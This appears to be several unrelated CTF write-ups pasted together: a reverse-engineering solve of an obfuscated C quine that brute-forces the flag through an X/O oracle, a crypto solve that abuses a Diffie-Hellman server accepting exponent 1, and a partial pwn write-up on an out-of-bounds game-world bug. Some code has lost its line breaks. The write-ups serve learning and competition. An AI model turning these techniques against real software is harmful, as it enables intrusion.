Category: rev```[Challenge File - quine.c](https://ctf.b01lers.com/download?file_key=80f3300d2cc95f143b6eca63ca4f0757626a85c7f8005b3dd36616c07d69d76f&team_key=66b5d951acac088cb2b9105a6db0d6f41907adc4b07b1177b90c0fc94cd33f0e)
[solve.py](./solve.py)
# SolutionWas given a source code of obfuscated [quine](https://en.wikipedia.org/wiki/Quine_(computing)) program in c. ```C #include/*firt*/<stdio.h> #define/*ah*/ p/**/putchar #define/*??*/ c/*cal*/char #define/*to*/ Q(q)int*P,u\ /*why...*/=0, M[99999],*C\ =M,*S=M+293;c *Q=#q/*am*/\ ,H[99999],*D= H;/*i*/int(\ main)(int*a,c **b){q;}/**//*quine*/Q(int*B=M+549;int/*ahhh*/l=strlen(b[1]);p(47);p(47);for(;*Q;Q++){if(*Q==124)*C++=10;else/*haaa*/if(*Q==126)*C++=32;else/*wtf_is_this*/if(*Q==33)*C++=34;else/*woeira*/if(*Q>34)*C++=*Q;*D++=*Q==32?'\n':*Q;}for(intu=-0;u<l*4;)p(-b[1][u/4]+S[u++]-S[u++]+(S[u++]^S[u++])?88:79);p(10);/*weird___*/for(int*d=B;d<M+1280;)p(*d++);printf("%s)",/*progra*/H+304);return/*UwU*/0**"^O{(u4X""z}e(tiIh.p+}Kj<&eb]0@sHecW^[.xroBCW=N3nG+r.]rGEs.UJw^""y'tn_Qv(y;Ed')#@q@xI1N:wH<X1aT)NtMvNlcY0;+x[cQ4j9>Qi2""#Yq&fR#os=ELTjS^/deJZ;EuY`#IQwKL)w<N<Zh,;W9X=&t0zX&E0""e<_3SVaLs(pXk6z-XGHTx8T/?-^`h[K0h}`dD6kX:vEeC,mI5fR9k""]{;yfO0Wg/1-Z^=WyUqN5XY1g25K1sJgKzfG.~~~~~~~~~~~~~~#i""nclude/*firt*/<stdio.h>|~~~~~~~~~~~#define/*ah*/~~~~~""~p/**/putchar|~~~~~~~~~#define/*??*/~~~~~~~~~c/*cal*/""char|~~~~~~~~#define/*to*/~~~~~~~~~~~Q(q)int*P,u\|~~~""~~~~~/*why...*/=0,~~~~~~~~~~~M[99999],*C\|~~~~~~~~=M,""*S=M+293;c~~~~~~~~~~~*Q=#q/*am*/\|~~~~~~~~,H[99999],*""D=~~~~~~~~~~~H;/*i*/int(\|~~~~~~~~main)(int*a,c~~~~~~""~~~~~**b){q;}/**/|/*quine*/Q(int*B=M+549;int/*ahhh*/l""=strlen(b[1]);p(47);|p(47);for(;*Q;Q++){if(*Q==124)*C""++=10;else/*haaa*/if(*Q|==126)*C++=32;else/*wtf_is_th""is*/if(*Q==33)*C++=34;else|/*woeira*/if(*Q>34)*C++=*Q"";*D++=*Q==32?'\n':*Q;}for(int|u=-0;u<l*4;)p(-b[1][u/4""]+S[u++]-S[u++]+(S[u++]^S[u++])?|88:79);p(10);/*weird""___*/for(int*d=B;d<M+1280;)p(*d++);|printf(!%s)!,/*pr""ogra*/H+304);return/*UwU*//*quine*/Q(/*random_stuf*/")```The view of the program was quite amusing, the code was formatted like a padlock something like what people do in [iocc](https://en.wikipedia.org/wiki/International_Obfuscated_C_Code_Contest).Lots of `#define` macros and obscure C syntax. Had to process the macros with `gcc -E quine.c` to get a somewhat readable format of the source code. Found the code at the very last of the processed file.

Saved and formatted the code which gave me a better understandable source code.
```Cint *P, u = 0, M[99999], *C = M, *S = M + 293;char *Q = "int*B=M+549;int l=strlen(b[1]);p(47); p(47);for(;*Q;Q++){if(*Q==124)*C++=10;else if(*Q ==126)*C++=32;else if(*Q==33)*C++=34;else if(*Q>34)*C++=*Q;*D++=*Q==32?'\\n':*Q;}for(int u=-0;u<l*4;)p(-b[1][u/4]+S[u++]-S[u++]+(S[u++]^S[u++])? 88:79);p(10); for(int*d=B;d<M+1280;)p(*d++); printf(\"%s)\", H+304);return 0**\"^O{(u4X\" \"z}e(tiIh.p+}Kj<&eb]0@sHecW^[.xroBCW=N3nG+r.]rGEs.UJw^\" \"y'tn_Qv(y;Ed')#@q@xI1N:wH<X1aT)NtMvNlcY0;+x[cQ4j9>Qi2\" \"#Yq&fR#os=ELTjS^/deJZ;EuY`#IQwKL)w<N<Zh,;W9X=&t0zX&E0\" \"e<_3SVaLs(pXk6z-XGHTx8T/?-^`h[K0h}`dD6kX:vEeC,mI5fR9k\" \"]{;yfO0Wg/1-Z^=WyUqN5XY1g25K1sJgKzfG.~~~~~~~~~~~~~~#i\" \"nclude/*firt*/<stdio.h>|~~~~~~~~~~~#define/*ah*/~~~~~\" \"~p/**/putchar|~~~~~~~~~#define/*??*/~~~~~~~~~c/*cal*/\" \"char|~~~~~~~~#define/*to*/~~~~~~~~~~~Q(q)int*P,u\\|~~~\" \"~~~~~/*why...*/=0,~~~~~~~~~~~M[99999],*C\\|~~~~~~~~=M,\" \"*S=M+293;c~~~~~~~~~~~*Q=#q/*am*/\\|~~~~~~~~,H[99999],*\" \"D=~~~~~~~~~~~H;/*i*/int(\\|~~~~~~~~main)(int*a,c~~~~~~\" \"~~~~~**b){q;}/**/|/*quine*/Q(int*B=M+549;int/*ahhh*/l\" \"=strlen(b[1]);p(47);|p(47);for(;*Q;Q++){if(*Q==124)*C\" \"++=10;else/*haaa*/if(*Q|==126)*C++=32;else/*wtf_is_th\" \"is*/if(*Q==33)*C++=34;else|/*woeira*/if(*Q>34)*C++=*Q\" \";*D++=*Q==32?'\\n':*Q;}for(int|u=-0;u<l*4;)p(-b[1][u/4\" \"]+S[u++]-S[u++]+(S[u++]^S[u++])?|88:79);p(10);/*weird\" \"___*/for(int*d=B;d<M+1280;)p(*d++);|printf(!%s)!,/*pr\" \"ogra*/H+304);return/*UwU*//*quine*/Q(/*random_stuf*/\"", H[99999], *D = H;int(main)(int *a, char **b){ int *B = M + 549; int l = strlen(b[1]); putchar(47); putchar(47); for (; *Q; Q++) { if (*Q == 124) *C++ = 10; else if (*Q == 126) *C++ = 32; else if (*Q == 33) *C++ = 34; else if (*Q > 34) *C++ = *Q; *D++ = *Q == 32 ? '\n' : *Q; } for (int u = -0; u < l * 4;) putchar(-b[1][u / 4] + S[u++] - S[u++] + (S[u++] ^ S[u++]) ? 88 : 79); putchar(10); for (int *d = B; d < M + 1280;) putchar(*d++); printf("%s)", H + 304); return 0 * *"^O{(u4X" "z}e(tiIh.p+}Kj<&eb]0@sHecW^[.xroBCW=N3nG+r.]rGEs.UJw^" "y'tn_Qv(y;Ed')#@q@xI1N:wH<X1aT)NtMvNlcY0;+x[cQ4j9>Qi2" "#Yq&fR#os=ELTjS^/deJZ;EuY`#IQwKL)w<N<Zh,;W9X=&t0zX&E0" "e<_3SVaLs(pXk6z-XGHTx8T/?-^`h[K0h}`dD6kX:vEeC,mI5fR9k" "]{;yfO0Wg/1-Z^=WyUqN5XY1g25K1sJgKzfG.~~~~~~~~~~~~~~#i" "nclude/*firt*/<stdio.h>|~~~~~~~~~~~#define/*ah*/~~~~~" "~p/**/putchar|~~~~~~~~~#define/*??*/~~~~~~~~~c/*cal*/" "char|~~~~~~~~#define/*to*/~~~~~~~~~~~Q(q)int*P,u\|~~~" "~~~~~/*why...*/=0,~~~~~~~~~~~M[99999],*C\|~~~~~~~~=M," "*S=M+293;c~~~~~~~~~~~*Q=#q/*am*/\|~~~~~~~~,H[99999],*" "D=~~~~~~~~~~~H;/*i*/int(\|~~~~~~~~main)(int*a,c~~~~~~" "~~~~~**b){q;}/**/|/*quine*/Q(int*B=M+549;int/*ahhh*/l" "=strlen(b[1]);p(47);|p(47);for(;*Q;Q++){if(*Q==124)*C" "++=10;else/*haaa*/if(*Q|==126)*C++=32;else/*wtf_is_th" "is*/if(*Q==33)*C++=34;else|/*woeira*/if(*Q>34)*C++=*Q" ";*D++=*Q==32?'\n':*Q;}for(int|u=-0;u<l*4;)p(-b[1][u/4" "]+S[u++]-S[u++]+(S[u++]^S[u++])?|88:79);p(10);/*weird" "___*/for(int*d=B;d<M+1280;)p(*d++);|printf(!%s)!,/*pr" "ogra*/H+304);return/*UwU*//*quine*/Q(/*random_stuf*/";}```Compiled and ran the source code which produced the source code itself, property of quine program. The main challenge was to figure out which part of the program was actually implementing the logic. I inserted some dummy printfs in between the main printing blocks to figure out which block was printing what and also removed everything after `return` as those were in fact the program itself. The resulting code was this:```Cint *P, u = 0, M[99999], *C = M, *S = M + 293;char *Q = "int*B=M+549;int l=strlen(b[1]);p(47); p(47);for(;*Q;Q++){if(*Q==124)*C++=10;else if(*Q ==126)*C++=32;else if(*Q==33)*C++=34;else if(*Q>34)*C++=*Q;*D++=*Q==32?'\\n':*Q;}for(int u=-0;u<l*4;)p(-b[1][u/4]+S[u++]-S[u++]+(S[u++]^S[u++])? 88:79);p(10); for(int*d=B;d<M+1280;)p(*d++); printf(\"%s)\", H+304);return 0**\"^O{(u4X\" \"z}e(tiIh.p+}Kj<&eb]0@sHecW^[.xroBCW=N3nG+r.]rGEs.UJw^\" \"y'tn_Qv(y;Ed')#@q@xI1N:wH<X1aT)NtMvNlcY0;+x[cQ4j9>Qi2\" \"#Yq&fR#os=ELTjS^/deJZ;EuY`#IQwKL)w<N<Zh,;W9X=&t0zX&E0\" \"e<_3SVaLs(pXk6z-XGHTx8T/?-^`h[K0h}`dD6kX:vEeC,mI5fR9k\" \"]{;yfO0Wg/1-Z^=WyUqN5XY1g25K1sJgKzfG.~~~~~~~~~~~~~~#i\" \"nclude/*firt*/<stdio.h>|~~~~~~~~~~~#define/*ah*/~~~~~\" \"~p/**/putchar|~~~~~~~~~#define/*??*/~~~~~~~~~c/*cal*/\" \"char|~~~~~~~~#define/*to*/~~~~~~~~~~~Q(q)int*P,u\\|~~~\" \"~~~~~/*why...*/=0,~~~~~~~~~~~M[99999],*C\\|~~~~~~~~=M,\" \"*S=M+293;c~~~~~~~~~~~*Q=#q/*am*/\\|~~~~~~~~,H[99999],*\" \"D=~~~~~~~~~~~H;/*i*/int(\\|~~~~~~~~main)(int*a,c~~~~~~\" \"~~~~~**b){q;}/**/|/*quine*/Q(int*B=M+549;int/*ahhh*/l\" \"=strlen(b[1]);p(47);|p(47);for(;*Q;Q++){if(*Q==124)*C\" \"++=10;else/*haaa*/if(*Q|==126)*C++=32;else/*wtf_is_th\" \"is*/if(*Q==33)*C++=34;else|/*woeira*/if(*Q>34)*C++=*Q\" \";*D++=*Q==32?'\\n':*Q;}for(int|u=-0;u<l*4;)p(-b[1][u/4\" \"]+S[u++]-S[u++]+(S[u++]^S[u++])?|88:79);p(10);/*weird\" \"___*/for(int*d=B;d<M+1280;)p(*d++);|printf(!%s)!,/*pr\" \"ogra*/H+304);return/*UwU*//*quine*/Q(/*random_stuf*/\"", H[99999], *D = H;int(main)(int *a, char **b){ int *B = M + 549; int l = strlen(b[1]); putchar(47); putchar(47); for (; *Q; Q++) { if (*Q == 124) *C++ = 10; else if (*Q == 126) *C++ = 32; else if (*Q == 33) *C++ = 34; else if (*Q > 34) *C++ = *Q; *D++ = *Q == 32 ? '\n' : *Q; } printf("\n--------------------------HELLO1-----------------------\n"); for (int u = -0; u < l * 4;) { putchar(-b[1][u / 4] + S[u++] - S[u++] + (S[u++] ^ S[u++]) ? 88 : 79); } putchar(10);
printf("\n--------------------------HELLO2-----------------------\n"); for (int *d = B; d < M + 1280;) putchar(*d++);
printf("\n--------------------------HELLO3-----------------------\n"); printf("%s)", H + 304);}```I noticed after `HELLO2` and `HELLO3`, the source code itself was being printed. Not interesting. What's interesting was that, after `HELLO1`, `X`'s were being printed `len(arg)` number of times where `arg` is the command line argument passed to the program. This sort of strike me as a clue that something is going on here.
From the name and description, it was clear that I had to provide an input which is basically the flag. I tried with some random guess input and for a really long input I saw that instead of printing `X`, it was printing `O`. This is when I understood the meaning of the following block of code:```Cfor (int u = -0; u < l * 4;){ putchar(-b[1][u / 4] + S[u++] - S[u++] + (S[u++] ^ S[u++]) ? 88 : 79);}```If I gave the correct character for a particular position, then I'd get an `O`, some status saying my input is correct. For wrong input, I'd get an `X`, indicating that my input character at that position is not part of the flag. From there it was clear what I had to do. I brute forced each character till I get a `}` cz that is the end of the flag. I modified the source to just print only either `X` or `O` so that I can run the program from inside my python script and just check whether I got an `X` or `O`. The final modified source is following:```Cint *P, u = 0, M[99999], *C = M, *S = M + 293;char *Q = "int*B=M+549;int l=strlen(b[1]);p(47); p(47);for(;*Q;Q++){if(*Q==124)*C++=10;else if(*Q ==126)*C++=32;else if(*Q==33)*C++=34;else if(*Q>34)*C++=*Q;*D++=*Q==32?'\\n':*Q;}for(int u=-0;u<l*4;)p(-b[1][u/4]+S[u++]-S[u++]+(S[u++]^S[u++])? 88:79);p(10); for(int*d=B;d<M+1280;)p(*d++); printf(\"%s)\", H+304);return 0**\"^O{(u4X\" \"z}e(tiIh.p+}Kj<&eb]0@sHecW^[.xroBCW=N3nG+r.]rGEs.UJw^\" \"y'tn_Qv(y;Ed')#@q@xI1N:wH<X1aT)NtMvNlcY0;+x[cQ4j9>Qi2\" \"#Yq&fR#os=ELTjS^/deJZ;EuY`#IQwKL)w<N<Zh,;W9X=&t0zX&E0\" \"e<_3SVaLs(pXk6z-XGHTx8T/?-^`h[K0h}`dD6kX:vEeC,mI5fR9k\" \"]{;yfO0Wg/1-Z^=WyUqN5XY1g25K1sJgKzfG.~~~~~~~~~~~~~~#i\" \"nclude/*firt*/<stdio.h>|~~~~~~~~~~~#define/*ah*/~~~~~\" \"~p/**/putchar|~~~~~~~~~#define/*??*/~~~~~~~~~c/*cal*/\" \"char|~~~~~~~~#define/*to*/~~~~~~~~~~~Q(q)int*P,u\\|~~~\" \"~~~~~/*why...*/=0,~~~~~~~~~~~M[99999],*C\\|~~~~~~~~=M,\" \"*S=M+293;c~~~~~~~~~~~*Q=#q/*am*/\\|~~~~~~~~,H[99999],*\" \"D=~~~~~~~~~~~H;/*i*/int(\\|~~~~~~~~main)(int*a,c~~~~~~\" \"~~~~~**b){q;}/**/|/*quine*/Q(int*B=M+549;int/*ahhh*/l\" \"=strlen(b[1]);p(47);|p(47);for(;*Q;Q++){if(*Q==124)*C\" \"++=10;else/*haaa*/if(*Q|==126)*C++=32;else/*wtf_is_th\" \"is*/if(*Q==33)*C++=34;else|/*woeira*/if(*Q>34)*C++=*Q\" \";*D++=*Q==32?'\\n':*Q;}for(int|u=-0;u<l*4;)p(-b[1][u/4\" \"]+S[u++]-S[u++]+(S[u++]^S[u++])?|88:79);p(10);/*weird\" \"___*/for(int*d=B;d<M+1280;)p(*d++);|printf(!%s)!,/*pr\" \"ogra*/H+304);return/*UwU*//*quine*/Q(/*random_stuf*/\"", H[99999], *D = H;int(main)(int *a, char **b){ int *B = M + 549; int l = strlen(b[1]); // putchar(47); // putchar(47); for (; *Q; Q++) { if (*Q == 124) *C++ = 10; else if (*Q == 126) *C++ = 32; else if (*Q == 33) *C++ = 34; else if (*Q > 34) *C++ = *Q; *D++ = *Q == 32 ? '\n' : *Q; } // printf("\n--------------------------HELLO1-----------------------\n"); for (int u = -0; u < l * 4;) { putchar(-b[1][u / 4] + S[u++] - S[u++] + (S[u++] ^ S[u++]) ? 88 : 79); } putchar(10); // printf("\n--------------------------HELLO2-----------------------\n"); // for (int *d = B; d < M + 1280;) // putchar(*d++); // printf("\n--------------------------HELLO3-----------------------\n"); // printf("%s)", H + 304);}```
## solve.py```python#!/usr/bin/env python3
import stringfrom pwn import *
context.log_level = 'error'
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+\,-./:;<=>?@[\\]^_`{|}~"flag = ""correct_count = 1
elf = ELF("./random2")
while True: status_expected = correct_count * 'O' for c in string: p = process([elf.path, flag + c]) status_got = p.recvall().decode().strip() # the program gives a status if a character in a particular position is correct # 'X' means WRONG, 'O' means CORRECT # for example, if 1st character is correct and 2nd charcter is wrong it'll output OX if status_got == status_expected: correct_count += 1 flag = flag[:] + c print(flag) break # break if last character of the flag '}' is found if flag[len(flag) - 1] == '}': break print(flag)```
## Flag

```bctf{qu1n3_1s_4ll_ab0ut_r3p371t10n_4nD_m4n1pul4710n_OwO_OuO_UwU}``` |
# keyexchange### Category: Crypto### Points: 120
> Diffie-Hellman is secure right
> nc keyexchange.wolvctf.io 1337
We are given a python script `challenge.py` with the following contents:
```python#!/opt/homebrew/bin/python3
from Crypto.Util.strxor import strxorfrom Crypto.Util.number import *from Crypto.Cipher import AES
n = getPrime(512)
s = getPrime(256)
a = getPrime(256)# n can't hurt me if i don't tell youprint(pow(s, a, n))b = int(input("b? >>> "))
secret_key = pow(pow(s, a, n), b, n)
flag = open('/flag', 'rb').read()
key = long_to_bytes(secret_key)enc = strxor(flag + b'\x00' * (len(key) - len(flag)), key)print(enc.hex())```
The program first prints s^a(modn), which is the public key for this key exchange.
```pythonprint(pow(s, a, n))```
The program then asks for the b value, which is the private exponent.
```pythonb = int(input("b? >>> "))```
This is an issue because we can trivially choose the value 1 as the exponent, evaluating theprivate key to be the same as the public key. The program then xor's the private key and the flag, and returns the result.
Connecting to the server:
```153536822134698410826861879633201811424829134730955706160305579986850330073527731208828374018617207599715965826232778551746145213912829692315353893995264b? >>> 1758d0c8a570b82fa57457814889d96f4582ba3f99dca34e7ef25b7f411ba0696e1a6e8ba15de29152b792a38ad37f77bc98bb19189303c04203143ce7b3a8300```
I wrote a python program to get the flag from these results:
```pythonfrom Crypto.Util.number import long_to_bytesfrom Crypto.Util.strxor import strxor
pub = long_to_bytes(153536822134698410826861879633201811424829134730955706160305579986850330073527731208828374018617207599715965826232778551746145213912829692315353893995264)enc = "758d0c8a570b82fa57457814889d96f4582ba3f99dca34e7ef25b7f411ba0696e1a6e8ba15de29152b792a38ad37f77bc98bb19189303c04203143ce7b3a8300"enc = bytes.fromhex(enc)
pub += b'\x00' * (len(enc) - len(pub))pt = strxor(pub, enc)
print(str(pt))```
```$ python3 dec.pyb'wctf{m4th_1s_h4rd_but_tru5t_th3_pr0c3ss}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'```
|
# CTF Writeup: *zelda* (DiceCTF 2023)
By Jonathan Keller ([OSUSEC](https://osusec.org))
Challenge author: pepsipu
> try out my cool new zelda game!!

As the name suggests, the challenge is a simple 2D top-down game, written using ncurses. You can move around, you can go through a door to get to another room, and you can place and pick up piles of "coins":

The code is very simple, and has debug symbols! The game loop is:
- Process all pending keyboard input (up to 0x28 keypresses).- If the player is standing on a door, send them to the destination room.- Draw the screen.
Each room is stored as a 16x8 grid of tiles, represented as a 2D array of bytes in the data segment. The two rooms are stored contiguously, resulting in a 16x8x2 array describing the game world. There is no bounds-checking on the game world; the game "expects" the walls to keep you in bounds.
For each tile byte, the two least significant bits determine the tile's type: 0 is air, 1 is a coin pile, 2 is a door, and 3 is a wall. The remaining bits determine the tile's appearance and properties. For a coin pile, these bits hold the number of coins in the pile; for a door, these bits hold the room ID of the destination room.
The player can place a coin pile at any time, which replaces the tile they're standing on with a pile containing the value of their coin counter, and resets the coin counter to zero. When the player is standing on a coin pile, they can collect the coins which replaces the pile with air and adds the number of coins in the pile to their coin counter.
Since the code was simple, I reached this level of understanding relatively quickly...and realized I had no idea where to go from here. Due to the game's simplicity, there was no obvious bug! The set of actions I could take were very limited -- there's no "read a string into a buffer that's obviously too small", or anything like that.
Oh, also, the program opens ten file descriptors to `flag.txt` on startup, and then doesn't do anything with them.
## Hunting for Jank
When looking for bugs in videogames, I usually start with something that just feels a little off -- some mechanic that doesn't quite behave as you'd expect, or some weird interaction that doesn't quite look smooth. Because often, these rough edges can be turned into a meaningful glitch if you find the right setup.
In this case, I thought it seemed a little odd that, if you stepped on a door, the door transition didn't actually take effect until after the game finished processing keyboard input. I realized pretty quickly that this allowed you to erase a door by placing a coin on it...thus trapping yourself in the room. Hooray.

But since I'd found a source of jank, I decided to look closer, even though I still didn't see an exploitable bug. I idly fidgeted with the game while thinking about the problem, just sort of hitting different combinations of actions and seeing if I could find more bugs. And sure enough, I suddenly found myself stuck in the wall!

I took a closer look at the door-transition logic, and was quickly able to reproduce the glitch. When you go through a door, the game saves the direction you entered the door from, so that when you come out that same door it can place you facing away from the door. But if you stand on the door and face upwards before the door transition occurs, the game assumes you entered the door from below and will place you below the door when you leave.
You can't move while you're stuck in a wall, but you can erase the wall by placing a coin, letting you escape the confines of the room and freely wander out-of-bounds.

## Exploring Memory
At this point, we can freely explore the contents of the `DATA` segment following the rooms. We can also write to memory by placing coins: we can easily write a 1 by placing zero coins, or a 0 by placing zero coins and then picking them back up again. Writing other values is less trivial, but possible: we have to find a pile of coins somewhere in memory that we can take.
Unfortunately...there's just not a lot there before we hit the end of the DATA segment:
```pwndbg> hexdump rooms+0000 0x555dd9f26040 09 04 00 00 03 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│+0010 0x555dd9f26050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│+0020 0x555dd9f26060 00 00 00 00 00 00 00 00 00 00 00 00 43 03 03 03 │....│....│....│C...│+0030 0x555dd9f26070 03 03 03 63 00 00 00 00 00 00 00 43 a3 00 00 00 │...c│....│...C│....│+0040 0x555dd9f26080 00 00 00 23 00 00 00 00 00 00 00 23 06 00 00 00 │...#│....│...#│....│+0050 0x555dd9f26090 00 00 00 23 00 00 00 00 00 00 00 83 63 00 00 00 │...#│....│....│c...│+0060 0x555dd9f260a0 00 00 00 23 00 00 00 00 00 00 00 00 83 03 03 03 │...#│....│....│....│+0070 0x555dd9f260b0 03 03 03 a3 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│+0080 0x555dd9f260c0 00 00 00 00 00 00 00 00 00 09 04 00 00 03 00 00 │....│....│....│....│+0090 0x555dd9f260d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│...+00b0 0x555dd9f260f0 00 00 00 00 00 43 03 03 03 03 03 03 63 00 00 00 │....│.C..│....│c...│+00c0 0x555dd9f26100 00 00 00 00 43 a3 00 00 00 00 00 00 23 00 00 00 │....│C...│....│#...│+00d0 0x555dd9f26110 00 00 00 00 23 02 00 00 00 00 00 00 23 00 00 00 │....│#...│....│#...│+00e0 0x555dd9f26120 00 00 00 00 83 03 03 03 03 03 03 03 a3 00 00 00 │....│....│....│....│+00f0 0x555dd9f26130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│...+0120 0x555dd9f26160 09 04 01 00 03 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│+0130 0x555dd9f26170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│+0140 0x555dd9f26180 00 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 00 │....│....│....│....│+0150 0x555dd9f26190 00 00 00 00 01 00 00 00 ff ff ff ff 00 00 00 00 │....│....│....│....│+0160 0x555dd9f261a0 00 00 00 00 01 00 40 00 02 00 40 00 03 00 40 00 │....│..@.│..@.│..@.│+0170 0x555dd9f261b0 04 00 40 00 05 00 40 00 06 00 40 00 07 00 40 00 │..@.│..@.│..@.│..@.│+0180 0x555dd9f261c0 08 00 40 00 09 00 40 00 0a 00 40 00 0b 00 40 00 │..@.│..@.│..@.│..@.│+0190 0x555dd9f261d0 0c 00 40 00 0d 00 40 00 0e 00 40 00 0f 00 40 00 │..@.│..@.│..@.│..@.│+01a0 0x555dd9f261e0 10 00 40 00 11 00 40 00 12 00 40 00 13 00 40 00 │..@.│..@.│..@.│..@.│+01b0 0x555dd9f261f0 14 00 40 00 15 00 40 00 16 00 40 00 17 00 40 00 │..@.│..@.│..@.│..@.│+01c0 0x555dd9f26200 18 00 40 00 19 00 40 00 1a 00 40 00 1b 00 40 00 │..@.│..@.│..@.│..@.│+01d0 0x555dd9f26210 1c 00 40 00 1d 00 40 00 1e 00 40 00 1f 00 40 00 │..@.│..@.│..@.│..@.│+01e0 0x555dd9f26220 20 00 40 00 21 00 40 00 22 00 40 00 23 00 40 00 │..@.│!.@.│".@.│#.@.│+01f0 0x555dd9f26230 24 00 40 00 25 00 40 00 26 00 40 00 27 00 40 00 │$.@.│%.@.│&.@.│'.@.│+0200 0x555dd9f26240 28 00 40 00 29 00 40 00 2a 00 40 00 2b 00 40 00 │(.@.│).@.│*.@.│+.@.│+0210 0x555dd9f26250 2c 00 40 00 2d 00 40 00 2e 00 40 00 2f 00 40 00 │,.@.│-.@.│..@.│/.@.│+0220 0x555dd9f26260 30 00 40 00 31 00 40 00 32 00 40 00 33 00 40 00 │0.@.│1.@.│2.@.│3.@.│+0230 0x555dd9f26270 34 00 40 00 35 00 40 00 36 00 40 00 37 00 40 00 │4.@.│5.@.│6.@.│7.@.│+0240 0x555dd9f26280 38 00 40 00 39 00 40 00 3a 00 40 00 3b 00 40 00 │8.@.│9.@.│:.@.│;.@.│+0250 0x555dd9f26290 3c 00 40 00 3d 00 40 00 3e 00 40 00 3f 00 40 00 │<.@.│=.@.│>.@.│?.@.│+0260 0x555dd9f262a0 40 00 40 00 41 00 40 00 42 00 40 00 43 00 40 00 │@.@.│A.@.│B.@.│C.@.│+0270 0x555dd9f262b0 44 00 40 00 45 00 40 00 46 00 40 00 47 00 40 00 │D.@.│E.@.│F.@.│G.@.│+0280 0x555dd9f262c0 48 00 40 00 49 00 40 00 4a 00 40 00 4b 00 40 00 │H.@.│I.@.│J.@.│K.@.│+0290 0x555dd9f262d0 4c 00 40 00 4d 00 40 00 4e 00 40 00 4f 00 40 00 │L.@.│M.@.│N.@.│O.@.│+02a0 0x555dd9f262e0 50 00 40 00 51 00 40 00 52 00 40 00 53 00 40 00 │P.@.│Q.@.│R.@.│S.@.│+02b0 0x555dd9f262f0 54 00 40 00 55 00 40 00 56 00 40 00 57 00 40 00 │T.@.│U.@.│V.@.│W.@.│+02c0 0x555dd9f26300 58 00 40 00 59 00 40 00 5a 00 40 00 5b 00 40 00 │X.@.│Y.@.│Z.@.│[.@.│+02d0 0x555dd9f26310 5c 00 40 00 5d 00 40 00 5e 00 40 00 5f 00 40 00 │\.@.│].@.│^.@.│_.@.│+02e0 0x555dd9f26320 60 00 40 00 61 00 40 00 62 00 40 00 63 00 40 00 │`.@.│a.@.│b.@.│c.@.│+02f0 0x555dd9f26330 64 00 40 00 65 00 40 00 66 00 40 00 67 00 40 00 │d.@.│e.@.│f.@.│g.@.│+0300 0x555dd9f26340 68 00 40 00 69 00 40 00 6a 00 40 00 6b 00 40 00 │h.@.│i.@.│j.@.│k.@.│+0310 0x555dd9f26350 6c 00 40 00 6d 00 40 00 6e 00 40 00 6f 00 40 00 │l.@.│m.@.│n.@.│o.@.│+0320 0x555dd9f26360 70 00 40 00 71 00 40 00 72 00 40 00 73 00 40 00 │p.@.│q.@.│r.@.│s.@.│+0330 0x555dd9f26370 74 00 40 00 75 00 40 00 76 00 40 00 77 00 40 00 │t.@.│u.@.│v.@.│w.@.│+0340 0x555dd9f26380 78 00 40 00 79 00 40 00 7a 00 40 00 7b 00 40 00 │x.@.│y.@.│z.@.│{.@.│+0350 0x555dd9f26390 7c 00 40 00 7d 00 40 00 7e 00 40 00 7f 00 40 00 │|.@.│}.@.│~.@.│..@.│+0360 0x555dd9f263a0 50 1a 01 db 5d 55 00 00 00 00 00 00 00 00 00 00 │P...│]U..│....│....│+0370 0x555dd9f263b0 92 60 f2 d9 5d 55 00 00 0f d4 02 00 00 24 07 4b │.`..│]U..│....│.$.K│```
We have:
- The room definitions- The player status, holding variables like position, direction, room number, and coin count- ncurses' `acs_map`, which is a big table of character information that ncurses uses for something- `stdscr`, which is a pointer to the ncurses window- A pointer to the current tile
There's nothing in here that would help us print out a flag. The `stdscr` variable caught my eye -- we might be able to do something interesting if we could corrupt ncurses' internal state, especially since we *do* have open file descriptors pointing to our flag. But `stdscr` itself is just a pointer, and we're severely limited in what we can do with pointers because placing coins can only overwrite one byte at a time to a fairly restricted subset of values.
The actual `ncurses` data is stored on the heap, and if we could modify it there's a lot we could do! Notably, ncurses has a struct called `SP` that stores global screen settings (defined [here](https://github.com/mirror/ncurses/blob/5b82f41330b8d9fdc4c9b9aa0edd4e0b7515020c/ncurses/curses.priv.h#L915)). This struct has an `_ifd` field that holds the file descriptor ncures reads from and an `_echo` field that determines whether characters received by the program are echoed back to the terminal. If we can enable echo and set `_ifd` to one of the flag file descriptors...then we win.
But we sadly do not have access to the heap, just the `DATA` segment, and there's a randomly-sized gap of unmapped pages between the two. And there's the problem that the player's X and Y positions are byte variables -- we couldn't possibly walk far enough to get to the heap even if we *didn't* have to worry about segfaulting along the way. I thought about trying to get an invalid room index by finding a door tile somewhere out-of-bounds, but again an 8-bit tile is not enough to get a high enough room index to reach the heap -- and we still have ASLR to contend with.
At this point, I took a break for the evening. I didn't see a way forward, and I was wondering if I had been on the wrong track -- maybe there was another bug I'd overlooked and I was chasing a dead end. But the solution hit me the next morning: the player's room index is a 4-byte variable, and we can place a coin in one of the upper bits to suddenly "jump" far forward in memory.
We still have ASLR to contend with, but the heap is always located shortly after the data segment. While this offset is randomized, there's much less entropy than with a full address, so it's feasible to brute-force.
(pepsipu, who wrote the challenge, told me after seeing my solution that brute-forcing ASLR was not part of the intended solution: instead, you could leak the heap by setting the room ID to 6 in order to cause the contents of the `stdscr` variable to be drawn as tiles on the playfield. This didn't even occur to me at the time; and while not having to brute-force would have saved a lot of trouble, it would also have made my solution script significantly more complicated as it would have needed to parse the curses output.)
